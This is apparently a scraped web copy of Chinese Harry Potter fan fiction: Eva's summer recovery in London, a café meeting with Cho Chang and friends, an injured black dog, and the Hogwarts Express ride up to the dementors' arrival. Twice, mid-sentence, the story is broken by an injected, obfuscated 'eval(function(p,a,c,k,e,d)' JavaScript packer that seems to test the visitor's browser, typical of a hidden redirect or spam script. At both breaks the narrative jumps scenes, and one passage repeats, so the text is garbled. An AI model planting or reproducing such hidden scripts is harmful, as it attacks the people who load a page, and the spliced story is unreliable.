日子依旧缓慢。Eva大部分时间待在屋子里,偶尔在天气稍显清朗的傍晚,由妈妈陪着在附近几条安静的街道散步。街道两旁是修剪整齐的树篱和紧闭的院门,偶尔有汽车驶过,溅起细小的水花。空气里有潮湿的青草、湿透的砖石和远处泰晤士河带来的淡淡水腥气。 恢复的感觉像在解一道极慢的绳结。力气一点一点地回来,能一口气走更远的路而不觉得心慌,看书的眼睛也不那么容易发涩了。但体内那股平和的“炁”,依然沉睡得像一口被厚冰封住的深井,只有极偶尔的时候——比如某个特别安静的午后,阳光恰好穿透云层,斜斜地落在她摊开的书页上——她能模糊地感觉到一丝极其微弱的暖意,像冰层深处传来的一缕几乎听不见的水流声。爷爷来信说,这是好事,说明根基在自我修复,让她“勿追勿念,顺其自然”。 哈利来过几封信,内容都很短。他说他在女贞路,日子一如既往的乏味且充满“德思礼式的热情”(Eva从这略带讥诮的语气里读出了更多)。罗恩正式邀请他去陋居住几周,日期定在八月中旬。赫敏在法国,寄来一张埃菲尔铁塔的明信片,背面用极小的字写满了她对《数字占卜学新论》几个章节的疑问。 Eva的回信也很简短,只写伦敦的天气,阳台看到的云,还有身体渐好。她没有提那个午后在“静心茶舍”听到的只言片语,也没有写信去问爷爷或爸爸更多关于祖母的事。茶馆老板娘的话像一枚投入深潭的石子,激起的涟漪沉在心底,却没有再向外扩散。有些线头,拉起来可能会牵动整个沉寂的过往,而她直觉地知道,那潭水太深,太沉,不该由她这个年纪、这个状态去搅动。爷爷不说,爸爸不提,妈妈也总是欲言又止,自然有他们的理由。她只是把这些碎片小心地收在记忆的一角,像收好一块带有裂痕的玉。 八月的第二周,妈妈开始整理她三年级需要的物品清单。 “麦格教授的信上周就来了,”一天早餐时,妈妈把一张长长的羊皮纸推到Eva面前,“课程安排和必备书目。今年开始有选修课,你得仔细想想。” Eva接过清单。除了变形术、魔咒学、黑魔法防御术(今年换了新教授,信上没有写名字,只标注“新任教授”)、魔药学、草药学、天文课和魔法史这些必修课,下面列出了几门选修课:占卜学、算术占卜、保护神奇生物、麻瓜研究、古代如尼文。 她的目光在“保护神奇生物”上停顿了一下,想起禁林里月光下死去的独角兽,想起海格巨大的、颤抖的手掌。然后移向“古代如尼文”——赫敏大概会选这门课,还有算术占卜,说不定两门都选。最后,她的视线落在“麻瓜研究”上。爸爸大概会希望她选这个,了解她所处的另一个世界。但她没有立刻决定。 “还有这个,”妈妈又递过另一张更小的通知,表情有些严肃,“霍格沃茨三年级及以上学生周末访问霍格莫德村申请表。需要在监护人签字同意后,于开学第一周内交予各自学院院长。你需要我和你爸爸的签名。” 霍格莫德。蜂蜜公爵糖果店,三把扫帚酒吧,佐科笑话店……这些名字从曼蒂和帕德玛兴奋的谈论里听过无数次。一个完全属于巫师的村庄。 “你爸爸的意见是,”妈妈的声音把她拉回现实,“考虑到……你过去的经历,以及我们对你安全的考量,建议暂时不签署这份许可。至少在第一个学期,先观察学校情况,等你身体完全稳固,适应了新的课程节奏再说。” Eva抬起头。妈妈的表情很认真,没有商量的余地。她想起医疗翼里妈妈通红的眼眶,想起爸爸那句沉甸甸的“记住你是谁”,想起茶馆老板娘口中那些未尽的牺牲和沉默的守护。他们用最谨慎的方式,试图在她周围筑起一道看不见的围墙。 “我明白。”她点点头,把申请表放到一边,没再多看。心里有点空落,但并不是委屈。那是另一种更复杂的情绪,像知道门后有一条热闹的街,但同时也清楚那街上可能有看不见的沟坎,而家人刚刚经历过一次她差点跌进去的惊吓。 采购在八月中旬的一个阴天里彻底完成。除了课本、羊皮纸、羽毛笔这些常规物品,妈妈还坚持给她买了一个新的、更结实的龙皮手套(用于可能更复杂的魔药或草药课),以及一小瓶据说是东欧森林特产、有助于安神补气的魔法树液,价格不菲,是爸爸托人捎来的。 “你爸爸说,每天睡前喝一滴,温水送服。”妈妈仔细地把小瓶子放进已经收拾得差不多的行李箱内袋,“虽然不如你爷爷的法子……但总归是份心意。” Eva摸了摸那个冰凉的小玻璃瓶。爸爸远在东欧,通过这种方式参与着她的恢复。这份沉默的关切,比言语更沉。 八月的最后几天,伦敦难得放晴。阳光穿透稀薄的云层,把屋前的绣球花晒得颜色鲜亮了些。Eva站在小阳台上,看着远处公园里有人遛狗,有孩子追逐。夏天快要结束了。 开学前的最后一个周六,傍晚,她收到一封意外的信。 信是素雪带回来的,信封上熟悉的、清秀的字迹是秋·张的。拆开,里面是一张普通的米白色信纸。 “Eva, 希望你这个暑假恢复得顺利。伦敦的天气总是这样,希望没有太影响你休养。 我和几个朋友——主要是拉文克劳和赫奇帕奇的,苏珊·博恩斯、安东尼·戈德斯坦,还有塞德里克·迪戈里你也见过的——打算在开学前的最后一个周二,也就是八月三十日,在伦敦查令十字街附近一家不错的巫师咖啡馆小聚一下。算是迎接新学期,也聊聊选课什么的。如果你那天刚好在伦敦,并且感觉身体允许的话,我们都很希望你能来。大家都很惦记你。 具体地址在背面。不用特意准备什么,就是轻松地坐坐。 如果还在静养期,千万别勉强。我们学校见也一样。 秋” 背面用清秀的字迹写着一个地址:“破釜酒吧斜对角,‘墨丘利与书卷’咖啡馆,下午三点。” Eva拿着信纸,在渐暗的天光里站了一会儿。这种来自高年级、且明显带有照顾和邀请意味的聚会,对她而言是第一次。 妈妈从屋里走出来,手里拿着浇花的水壶。“谁的信?”她问,目光落在Eva手中的信纸上。 Eva把信递过去。妈妈快速浏览了一遍,眉头微微蹙起,那是她评估风险时的习惯表情。 “秋·张……拉文克劳的级长候选人之一,我听说过,家世清白,成绩优异,在华人小巫师圈里口碑很好。”妈妈像是在回忆外交档案里的信息,“聚会地点在破釜酒吧附近……算是半公开的巫师区域,安全性比完全陌生的地方高。参与人员听起来也是正当的学生社交。” 她停顿了一下,看向Eva:“你想去吗?” Eva想了想。她确实有点想去。不是对聚会本身有多大的兴趣,而是……这是一种正常的、属于霍格沃茨学生的社交生活,没有密室,没有蛇怪,没有昏迷和加分。只是几个相识的同龄人(或年长一两岁)在开学前喝杯东西,聊聊天。这种“正常”,对她这个夏天被过度保护和静养的生活来说,有种陌生的吸引力。而且,是秋的邀请。 “如果……你觉得可以的话。”她谨慎地说。 妈妈又看了看信,沉思了片刻。“当天我正好要去大使馆处理最后一些交接文件,大概下午两点到四点之间。咖啡馆的位置我知道,离破釜酒吧入口很近,也在魔法部常规警戒范围内。这样吧,我送你去咖啡馆门口,确认地点和人员。聚会结束后,你通过破釜酒吧的公共飞路网直接回家——记得用我们设定好的口令和备用飞路粉。我会在壁炉边等你。” 安排得周密而留有余地。Eva点点头:“好。” 八月三十日,星期二,天气依旧阴沉。 下午两点半,妈妈陪Eva到了查令十字街。她们穿过拥挤的人流,来到那条熟悉的、略显肮脏的小巷。破釜酒吧的招牌在灰蒙蒙的天色下看起来比平时更黯淡。 “就是那里。”妈妈指向斜对面一家店铺。门面比破釜酒吧整洁得多,橱窗擦得透亮,里面陈列着一些古董书籍和看起来很有年头的星象仪、黄铜望远镜。招牌上用优雅的花体字写着“墨丘利与书卷”,下面一行小字:“咖啡、茶、轻型简餐及稀有书籍鉴赏”。 “我三点二十左右回来接你,如果提前结束,或者有任何感觉不对,立刻用双面镜联系,或者直接通过飞路网回家。”妈妈最后叮嘱,仔细看了看Eva的脸色——今天她气色确实还不错。 “我会的,妈妈。” 妈妈看着她走进咖啡馆,又在门口停留了片刻,确认她顺利被侍者引向内厅,才转身快步走向大使馆方向。 咖啡馆里面比外面看起来更宽敞,光线柔和。空气中弥漫着现磨咖啡的醇香、旧书页的淡淡霉味,以及一种好闻的、像是肉桂和檀木混合的熏香气味。桌椅是深色的木头,坐垫是墨绿色的天鹅绒。客人不多,大多是穿着体面长袍的成年巫师,低声交谈或阅读。 “Eva!这边!” 秋·张的声音从靠里的一张圆桌传来。她已经到了,穿着一件雅致的深蓝色连衣裙式长袍,黑发光滑地披在肩头,笑容明亮。圆桌旁还坐着三个人:一个Eva认识的赫奇帕奇女生,叫苏珊·博恩斯,棕色卷发,脸上有几颗雀斑,正在小口吃着一块巧克力松饼;一个拉文克劳的男生,Eva记得他好像是五年级的,叫安东尼·戈德斯坦,戴着眼镜,面前摊着一本厚厚的、书脊都快散开的古书;还有一个是赫奇帕奇的男生,塞德里克·迪戈里,Eva在魁地奇赛场上见过他,赫奇帕奇的找球手,个子很高,相貌英俊,正温和地笑着听秋说话。 “真高兴你能来,”秋站起来,很自然地用中文说了一句,然后换成英语,给其他人介绍,“路上顺利吗?看起来气色比上次见面好多了。” “还好,谢谢。”Eva在空位上坐下,也用中文轻声回了秋一句。侍者无声地飘过来,她点了一杯薄荷茶。 “我们正在讨论三年级选修课的事,”苏珊·博恩斯友好地说,“Eva,你打算选什么?秋说她三年级的时候选了占卜和保护神奇生物,安东尼纠结古代如尼文和算术占卜,塞德里克说他当时选的保护神奇生物和麻瓜研究。” “我还没完全决定。”Eva如实说,目光扫过安东尼面前那本古书,封皮上的如尼文符号像扭曲的小虫。 “保护神奇生物肯定要选,”塞德里克微笑着说,“虽然还不知道今年的教授是谁,但听说魔法部对这门课的教学内容有了新规范,应该会比以前更系统。而且,”他笑了笑,“和神奇动物打交道总是有趣的,比总对着羊皮纸有意思。” Eva的视线在“保护神奇生物”上停顿了一下,想起禁林里月光下死去的独角兽,想起海格巨大的、颤抖的手掌。然后移向“古代如尼文”——赫敏大概会选这门课。至于“占卜学”……爷爷倒是提过,真正的“预见”源于对天地规律的洞察,与故弄玄虚的“窥探”是两回事。最后,她的视线落在“麻瓜研究”上。爸爸大概会希望她选这个,了解她所处的另一个世界。但她没有立刻决定。 “麻瓜研究呢?”Eva问。 塞德里克耸耸肩:“我觉得了解一下挺好的。我爸爸是魔法部官员,常和麻瓜出身的同事打交道,他说很多时候误会都源于不了解。而且,”他笑了笑,“麻瓜们有些发明挺酷的,比如……飞机?不用魔法就能飞那么高,那么快。” 话题自然地展开。他们聊选修课,聊暑假见闻(苏珊去了威尔士的亲戚家,安东尼大部分时间泡在家族的旧书房里),聊对新年课程的猜测(“黑魔法防御术又换教授了,希望这位新教授能靠谱点,”安东尼推了推眼镜,“前两位实在是一言难尽。”)。秋说到她暑假参加了半个魁地奇训练营,试图改进她的俯冲技巧。塞德里克提到他父亲最近在忙着处理一些“棘手的工作”,但没细说。 气氛轻松融洽。Eva小口喝着薄荷茶,清凉微甜的口感让她精神更好了些。她大部分时间在听,偶尔回答一两个问题。秋很照顾她,会用中文低声问她要不要再点点什么,或者在她沉默时自然地接过话题。 聚会大约持续了一个小时。秋看了看墙上一个做成沙漏形状的钟(里面的沙子是金色的,流动极其缓慢)。“我差不多该走了,约了妈妈去对角巷买最后一点东西。”她站起身,其他人也陆续准备离开。 在咖啡馆门口道别时,秋轻轻拉了一下Eva的手臂,用中文低声说:“学校见。选课要是拿不准,随时来问我。对了,霍格莫德许可表的事别担心,第一个学期不去也没什么,以后机会多的是。” “嗯,谢谢秋。”Eva点点头。 秋和其他人挥挥手,汇入街道上逐渐增多的人流。Eva站在咖啡馆门口,看了看时间,离妈妈约定的三点二 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她咬了咬下唇,回头看了看主街的方向。妈妈还没出现,行人匆匆,没人注意到这条阴暗的小巷。她想起破釜酒吧就在附近——那里是巫师的地方,至少可以找人帮忙。 Eva深吸一口气,从随身的小包里(妈妈坚持让她带着,里面有些零钱、双面镜和基本的防护小玩意儿)快速翻找,取出几枚银西可——这是巫师货币,但破釜酒吧的汤姆老板应该认得。她将钱握在手里,小心地朝巷子里挪了几步。 “嘿……没事的,”她用尽可能温和的声音说,动作放得很慢,“我不会伤害你。” 黑狗的呜咽声变得更低更急,暗黄色的眼睛紧紧盯着她,身体因为警惕而绷紧。它试图后退,但受伤的后腿让它动弹不得。 Eva停在距离狗还有几步远的地方,蹲下身,保持在一个相对安全的高度。她将手里的银西可轻轻放在潮湿的地面上,往前推了一点。“我需要去找人来帮你。这些……是给帮忙的人的报酬。你能在这里等一等吗?” 狗的眼神依然充满戒备,但喉咙里的呜咽声稍微缓和了些。它看了看地上的银币,又看了看Eva,那目光里的警惕中似乎掺杂了一丝困惑。 Eva缓缓站起身,后退两步,然后转身快步走向破釜酒吧。她推开门,里面依旧昏暗,充斥着烟酒和灰尘的味道。下午时分,客人不多,只有角落里两个老巫师在下巫师棋。 汤姆老板从柜台后抬起头,看见她独自进来,粗声问:“怎么了,小姑娘?” “外面巷子里有只受伤的大黑狗,”Eva快速说道,从钱袋里又数出几个加隆放在柜台上,“腿断了,很严重。我不能……不能用魔法,但需要有人帮帮它。这些钱够吗?请找个人给它治疗。” 汤姆看了看柜台上的加隆,又看了看她有些急切的神情,独眼里闪过考量。“哪条巷子?” “酒吧斜对面,堆放垃圾桶的那条。” 汤姆“啧”了一声,收起加隆,朝后厨方向喊了一声:“阿格斯!别擦你那破奖杯了,出来!” 一个瘦小佝偻、穿着油腻围裙的家养小精灵怯生生地从门后探出头来。“主、主人叫阿格斯?” “去斜对面巷子里,有条受伤的狗,弄回来。”汤姆不耐烦地挥挥手,“小心点,别让麻瓜看见。” 阿格斯连连鞠躬,啪的一声消失了。几秒钟后,外面传来轻微的、像是重物被挪动的声音。 汤姆看向Eva:“行了,我会处理。那狗要真是普通流浪狗,治好了放生。要是有问题……”他没说完,但意思很明显,“你赶紧回去吧。未成年在麻瓜街道逗留太久也不好。” Eva松了口气,但还是忍不住问:“您会找人给它治疗,对吗?” “收了钱就会办事。”汤姆粗声说,用那块脏抹布开始擦柜台,不再看她。 Eva最后看了一眼酒吧门外,转身离开。推开门,重新走进伦敦灰蒙蒙的午后阳光里,她没有再看向那条小巷的方向。 妈妈正好从街角快步走来,脸上带着一丝焦急,看到她,明显松了口气。“Eva!我正要过去……你没事吧?怎么从酒吧里出来?” “没事,”Eva摇摇头,将脑海里那双暗黄色、带着近乎人性化复杂情绪的眼睛暂时按下,“就是……刚才想买瓶黄油啤酒带回去,但汤姆老板说今天不供应。”这随口扯的谎话让她脸颊微热。 妈妈审视地看着她,但没再多问,只是揽住她的肩膀。“我们回家吧。明天还要早起去车站。” 她们走向停在不远处等待的汽车。车厢摇晃,Eva靠着窗,手指无意识地摩挲着腕间的玉佩。那只黑狗的眼神总在眼前晃——太像人了,那种警惕、痛苦里掺杂的一丝困惑,还有最后似乎放松下来的刹那……她摇摇头,把这归咎于光线昏暗和自己病后尚存的敏感。流浪动物在绝境中,眼神大概都会有些特别。她已经做了能做的,用不违规的方式。剩下的,交给破釜酒吧的老板——他见过各种奇怪的人和事,知道该怎么处理。 夜色渐深。躺在熟悉的床上,Eva在入睡前模糊地想,不知道那只狗现在怎么样了,腿接好了吗? 就在意识涣散的边缘,那双暗黄色的眼睛却毫无征兆地再度浮现——不是野兽濒死的浑浊,而是一种极其清醒的、仿佛压抑着万语千言的凝视,穿透巷子的昏暗,直直看进她梦里。 Eva倏地睁开眼,房间里只有熟悉的黑暗和自己的呼吸声。 “真是的……”她轻声自语,把脸埋进枕头,“想太多了。” 这个念头,连同那双过于像人的眼睛,终于像一片羽毛落在水面上,缓缓沉入睡眠的深处。对明天霍格沃茨特快列车的期待,渐渐成了梦境的主调。 63. 三年级列车 九月一日的清晨,天色还是灰蒙蒙的。 Eva醒得很早,几乎是第一缕微光从窗帘缝隙挤进来时就睁开了眼睛。伦敦夏季那种沉甸甸的湿气似乎在一夜之间消散了些,空气里多了点初秋才有的、清冽的凉意。她躺在床上,听着窗外远处城市苏醒的声音——垃圾车开过的沉闷响声,晨鸟断续的啁啾,还有不知哪户人家开门时隐约的门轴吱呀声。 该起床了。 她轻手轻脚地坐起来,换上前一天晚上就准备好的衣服:白衬衫,灰色毛衣,深蓝色长裤——全是麻瓜式样,妈妈坚持的。“到了火车上再换校袍,”妈妈昨天帮她整理行李时说,“这样方便些,也……安全些。” “安全”两个字说得很轻,但Eva听懂了。爸爸的叮嘱,妈妈的担忧,还有暑假里那些平静却处处透着小心的日子,都在这个词里了。 她走到窗边,拉开窗帘。天空是鱼肚白的颜色,云层压得很低,但东方天际线那里透出一线淡金色的光。海德公园的树冠在晨雾里呈现出深浅不一的墨绿。空气很静,静得能听见自己平稳的呼吸声。 行李箱已经收拾好了,放在门边。深棕色,边缘磨得有些发白——还是那个跟着他们跑过几个国家的旧箱子,只是今年里面的东西不一样了。除了校袍、课本、紫竹笔盒,还多了几样:妈妈绣的竹影披肩,爸爸托人捎来的那瓶魔法树液,爷爷来信提到秋天可以去江南,还有……那张没有签字的霍格莫德许可申请表,安静地躺在行李箱最底层的内袋里。 Eva伸手摸了摸腕上的玉佩。温润的触感,一如既往。她想起暑假里那个午后,在“静心茶舍”听到的那些话,想起那只巷子里的黑狗暗黄色的眼睛,想起破釜酒吧老板汤姆收下加隆时不耐烦的表情。然后她摇了摇头,把这些画面从脑子里甩开。 今天要回霍格沃茨。三年级。新的开始。 早餐桌上,妈妈的话比平时多。 “路上注意安全,到了学校立刻写信,一天一封,不要嫌麻烦。药水记得按时喝,那瓶树液每天晚上睡前一滴,温水送服,千万别忘了。功课不要急,慢慢来,庞弗雷夫人说了,你这学期还是以休养为主,实在跟不上的课可以申请缓考……” 妈妈一边说一边往她的吐司上涂黄油,动作很轻,但手指有些抖。 “我知道,妈妈。”Eva轻声应着,小口喝着碗里的燕麦粥。粥熬得很稠,加了红枣和桂圆,甜丝丝的。 “还有……”妈妈放下黄油刀,看着她,眼神复杂,“学校那边……如果有什么事,或者有人问你什么,不知道该怎么说的时候,就说不清楚,或者推给教授。你爸爸的意思……” “我明白。”Eva放下勺子,“求稳为上。” 妈妈点点头,眼圈有点红,但很快别过脸去,假装整理餐巾。“快吃吧,车一会儿就到了。” 九点整,大使馆的专车准时停在门口。司机还是那个话很少的陈叔叔,穿着笔挺的制服,帮她把行李放进后备箱。 妈妈站在门口台阶上,用力挥手,一直到车子拐过街角,看不见了,手还悬在半空。 Eva坐在车里,看着窗外熟悉的街道快速后退。 国王十字车站比暑假前更嘈杂。 九又四分之三站台的入口处挤满了人,红色蒸汽火车喷出的白雾在站台上空形成一片低矮的云。猫头鹰叫声此起彼伏,猫在笼子里不安地抓挠,一年级新生拽着父母的袍子角,脸上混合着兴奋和紧张。空气里有煤烟、黄油啤酒和无数种香水混合的味道。 Eva拖着行李箱,跟着人流穿过那堵神奇的墙。挤压感,短暂的黑暗,然后—— 霍格沃茨特快列车的深红色车身横在眼前,庞大而熟悉。 她站在原地,深吸了一口气。空气里有熟悉的魔法特有的噼啪感,混杂着更浓郁的煤烟和蒸汽味道。站台上到处是奔跑的学生,重逢的欢呼声、告别的话语、还有猫头鹰扑棱翅膀的声音,汇成一片巨大的声浪。 “Eva!这里!” 曼蒂的声音从左侧传来。她和帕德玛已经占好了一个隔间,正从车窗里探出半个身子朝她挥手。帕德玛身边还坐着一个看起来有些害羞的赫奇帕奇女生——是上次咖啡馆聚会见过的苏珊·博恩斯。 Eva朝她们点点头,拖着箱子走向车门。箱子很重,轮子在鹅卵石地面上发出沉闷的咕噜声。就在她进入车厢,斜前方一个隔间里熟悉的、拖着长腔的声音飘了过来: “……我当然知道。我父亲早就告诉我了——阿兹卡班守卫会来霍格沃茨巡逻。他说这是魔法部为了‘确保某些危险人物不会接近学校’。要我说,早就该这么做了。” 德拉科·马尔福坐在那,身边围着克拉布、高尔和潘西·帕金森。他今天穿了件崭新的墨绿色旅行斗篷,料子一看就价值不菲,边缘用银线绣着繁复的花纹。他说话时下巴微微扬起,声音不大不小,刚好能让周围几个路过的学生听见。 “阿兹卡班守卫?”包厢里的一个低年级的斯莱特林女生怯生生地问。 “摄魂怪,”马尔福的语气里带着一种刻意为之的、居高临下的科普意味,“你们会在《预言家日报》上读到过的。它们守卫着阿兹卡班监狱,现在被派来霍格沃茨,因为……”他顿了顿,灰蓝色的眼睛扫过周围,像是在享受这种掌握内幕消息的优越感,“因为某个危险的逃犯可能会来这里。我父亲说,有些十几年前的旧账,现在是时候清算了。” 他说这话时,目光透过窗外有意无意地扫过站台另一侧——哈利、罗恩和赫敏正站在那里,罗恩的脸色看起来很不好。 Eva的脚步没有停。她走到隔间门口,曼蒂和帕德玛已经帮她把箱子提了上去。 “快进来!”曼蒂兴奋地拉她坐下,“暑假过得好吗?伦敦怎么样?你身体完全恢复了吗?” 问题像连珠炮一样砸过来。Eva一边回答“还好”“在静养”“好多了”,一边在靠窗的位置坐下。 然后她看见了窗外的哈利。 他就站在不远处的站台上,身边是韦斯莱一家——莫丽·韦斯莱正用力拥抱罗恩和金妮,亚瑟·韦斯莱在和哈利说着什么,表情严肃。哈利的脸色比暑假前更苍白了些,绿眼睛下面的阴影很重,整个人显得紧绷绷的,像一根拉得太满的弓弦。 他感觉到了Eva的目光,转过头来。四目相对。 哈利愣了一下,随即对她点了点头,嘴角努力扯出一个笑容,但那笑容很勉强,很快就被担忧取代。他抬手摸了摸额头——Eva看见,那道闪电形疤痕在车站昏暗的光线下,显得格外清晰,甚至有些发红。 Eva隔着人群对他轻轻点了点头,算是回应。她能清楚地看到他脸上未散的疲惫,还有绿眼睛底下那层沉重的阴影。 火车鸣笛,喷出一大股白色的蒸汽。站台上的告别声更加急促,家长们最后一遍叮嘱,学生们匆匆上车。Eva看着窗外,韦斯莱夫人最后抱了抱金妮,亚瑟·韦斯莱拍了拍哈利的肩膀,然后哈利、罗恩、赫敏拖着行李走向最近的车门。 就在车门即将关闭的瞬间,一个瘦高的身影匆匆跑了过来。那人穿着一件极其破旧的旅行斗篷,脸上带着疲惫的病容,但眼睛很温和。他手里提着一个破破烂烂的旧箱子,箱子用绳子捆着,看起来随时会散架。他匆匆扫了一眼车厢,然后推开了Eva她们隔壁隔间的门——哈利、罗恩和赫敏刚好走进那个隔间。 “那是谁?”曼蒂小声问,从隔间门探头往外看。 “不知道,”帕德玛摇摇头,“看起来很……落魄。会不会是哪个学生的家长?” “哪有家长上学生车厢的,”苏珊小声说,“可能是新来的教授?你看他那箱子,像是装满了书。” 火车开动了。 站台、家长、还有伦敦灰蒙蒙的天空,在车窗外快速后退,最终变成一片模糊的、飞掠而过的色彩。车厢里渐渐安静下来,只剩下火车有节奏的哐当声和远处隔间隐约的谈笑声。 “你们听说了吗?”曼蒂压低声音,神秘兮兮地说,“那个逃犯……小天狼星·布莱克。我爸爸说,他是神秘人最忠实的追随者之一,杀了好多人。现在他从阿兹卡班逃出来了,魔法部认为他会来霍格沃茨找哈利!” 帕德玛皱了皱眉:“为什么来找哈利?” “因为……”曼蒂的声音更低了,“据说当年就是他出卖了波特夫妇,导致他们被神秘人杀害。现在他想来……完成未完成的事?” 苏珊·博恩斯小声说:“我姑姑在魔法部工作,她说整个魔法法律执行司都疯了,每天都在加班。摄魂怪被派到霍格沃茨巡逻,邓布利多教授非常反对,但魔法部坚持……” “摄魂怪……”帕德玛打了个寒颤,“我在书里读到过。它们会吸走人的快乐,留下……只有寒冷和绝望。” 车厢里沉默了几秒。窗外是飞快掠过的田野和树林,英格兰的乡村在初秋的阳光下一片金黄,但车厢内的气氛却因为这个话题变得有些凝重。 Eva安静地听着,手指无意识地转着茶杯。摄魂怪。阿兹卡班的守卫。来霍格沃茨巡逻。为了保护学校,还是为了监视?或者……两者都有? 她想起爸爸信里的叮嘱:“英国魔法部内部很复杂,有些事不要轻易表态。”也想起妈妈昨晚最后说的话:“不管听到什么,看到什么,先观察,别急着下结论。” 火车继续向北行驶。天空逐渐暗了下来,云层越来越厚,挡住了阳光。车厢里亮起了灯,昏黄的光线在玻璃窗上投下模糊的倒影。 午餐时分,推着零食车的女巫来了。她是个矮胖的、笑容可掬的中年女巫,推着满载零食的小车在走廊里缓慢移动。 “亲爱的们,要买点什么吗?巧克力蛙?坩埚蛋糕?南瓜馅饼?新到的血腥棒棒糖,吃了会流鼻血——哦,开个玩笑,只是会变红而已!” 曼蒂买了一大堆巧克力蛙和坩埚蛋糕,分给大家。帕德玛要了一盒怪味豆,小心翼翼地挑着看起来安全的颜色。苏珊买了一小包奶油杏仁糖。Eva只要了一块南瓜馅饼,小口吃着,甜腻的味道在舌尖化开。 下午,天空完全阴了下来。远处传来隆隆的雷声,不是夏天那种清脆的炸雷,而是沉闷的、拖得很长的轰鸣,像有什么巨大的东西在天际滚动。空气突然变冷了,车窗玻璃上凝起一层薄薄的水汽。 “要下雨了。”帕德玛看着窗外说。 话音未落,第一滴雨点就砸在了玻璃上,发出清脆的“啪”声。然后是第二滴、第三滴……很快,雨水像瀑布一样倾泻下来,在车窗上形成一道道扭曲的水痕。窗外原本清晰的风景变得模糊,只剩下大片大片的灰绿色色块在雨中晃动。 车厢里的光线更暗了。头顶的灯忽明忽暗地闪烁了几下,发出轻微的滋滋声。 “怎么回事?”苏珊紧张地问,抱紧了怀里的书。 “只是暴风雨,”帕德玛安慰道,但她的声音也有些不确定,“苏格兰高地秋天的天气就是这样,说变就变。” 就在这时,隔间的门被拉开了。 赫敏·格兰杰站在最前面,怀里抱着几本书,头发似乎比平时更蓬乱了。“抱歉打扰,”她语速很快,带着一贯的务实,“我们那边的隔间有位教授——我们猜是新的黑魔法防御术教授——他好像很不舒服,吃了药睡着了,但……打呼噜的声音实在太大,而且车厢在晃。我们能在这里挤一会儿吗?就一会儿。”她身后的哈利和罗恩也点了点头,哈利看起来脸色苍白。 “当然可以!”曼蒂立刻热情地挪了挪位置,把靠窗的好位置让出来,“快进来,外面冷得吓人。” 小小的隔间一下子挤进了七个人。哈利坐在了Eva对面的位置,中间隔着窄窄的过道。他坐下来时,Eva看见他的手指紧紧攥着袍子边缘,指节泛白。 罗恩挤在曼蒂和Eva中间,帕德玛坐在最里面,赫敏挨着苏珊坐下。隔间瞬间变得拥挤,膝盖碰着膝盖,袍角纠缠在一起。 “你们在聊什么?”赫敏问,目光扫过桌上摊开的《预言家日报》——头版是关于小天狼星·布莱克越狱的报道,配图是一张阴沉、消瘦的脸,头发凌乱,眼神疯狂。 “摄魂怪,”帕德玛低声说,指了指报纸第二版的一篇报道,“它们真的会来霍格沃茨吗?” 哈利的手无意识地摸了摸额头。那道疤痕在昏暗的光线下显得格外清晰,像一道刚刚愈合又被撕开的伤口。 “魔法部是这么说的。”罗恩闷闷地说,拿起一块曼蒂递过来的巧克力蛙,但没有打开,“我爸说,福吉坚持要派它们来,说这是‘必要的安全措施’。邓布利多反对也没用,魔法部有权调动摄魂怪。” “可是摄魂怪……”赫敏的眉头皱紧了,声音里带着她研究功课时的那种严肃,“它们是黑暗生物,不应该靠近学校的。而且它们会影响学生——书里说,长期暴露在摄魂怪附近会导致抑郁、记忆力衰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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马尔福的瞳孔收缩了一下,但他脸上的笑容没变,甚至更加刻意了:“至少我爸爸还在魔法部有话语权,韦斯莱。不像某些人,连个像样的袍子都买不起,全家挤在一个……那叫什么来着?‘陋居’?真是贴切。” “你——” “出去,马尔福。”赫敏站了起来,声音因为愤怒而发紧。 马尔福的目光扫过赫敏,然后——仿佛极不情愿地——掠过隔间里的其他人。当视线不可避免地扫过Eva时,他的下颌线几不可察地绷紧了一瞬,目光像触到滚烫的东西一样迅速移开,重新钉回哈利脸上。 “我只是在陈述事实。”他的声音里忽然多了点别的东西——不是平时的刻薄,更像是一种烦躁的、急于证明什么的情绪。 “你知道吗,波特,”马尔福的声音压低了点,但刚好能让隔间里所有人都听见,那种刻意营造的、分享内幕消息的语气,“我父亲说,布莱克越狱可能不只是为了杀你。魔法部有些人私下议论……说布莱克和你父亲当年关系密切得反常,直到后来出了那档子事。”他故意停顿了一下,让“那档子事”的意味悬在空中,“背叛者总得清理门户,不是吗?毕竟……知根知底的人,最知道该怎么找,也最知道该怎么下手。” 空气凝固了。 就在这时,一切都变了。 火车猛地减速—— 尖锐刺耳的摩擦声,车厢剧烈摇晃,桌上的东西哗啦啦掉了一地。头顶的灯瞬间熄灭,黑暗吞没一切。 “怎么回事?!”潘西的尖叫在混乱中格外刺耳。 黑暗让所有感官变得敏锐。Eva感觉到马尔福还堵在门口——他离门最近,半个身子在走廊里。潘西紧紧抓着马尔福的袍子,几乎整个人贴在他背后。克拉布和高尔则笨拙地挤在马尔福两侧。 不是火车的声音。是一种……像破风箱抽气、又像溺水者喘息的声音。越来越近。 “关门!”赫敏先喊了出来,声音带着惊恐,“快关门!” 但马尔福僵在原地,像被钉住了。他的脸在窗外偶尔闪过的雷电光芒中惨白一片,灰蓝色的眼睛瞪得极大,盯着黑暗的走廊深处。 Eva离门只有一步之遥。她猛地站起来,伸手抓住马尔福的袖子边缘,用尽全力往回一拽。 “进来!” 马尔福三人猝不及防,被她拽得踉跄后退,正好退进隔间。Eva立刻“砰”地关上门,手指迅速拧上门锁,顺手补了个加固咒语。 但她知道这没用。 车厢里一阵兵荒马乱。 马尔福猝不及防,被她拽得踉跄后退,整个人跌进隔间。但他冲进来的力道太大了,直接撞到了哈利那一排——哈利下意识伸手去挡,他跌坐在地上。 更糟的是—— 潘西被马尔福的袍子带得也向前扑倒。她尖叫着,整个人向前摔去——没有空地了,她直接摔在了原本Eva坐的那排座位上。曼蒂吓得往帕德玛身上躲,潘西的胳膊和上半身直接压在了桌上,把没吃完的南瓜馅饼、巧克力蛙包装纸全扫到了地上。 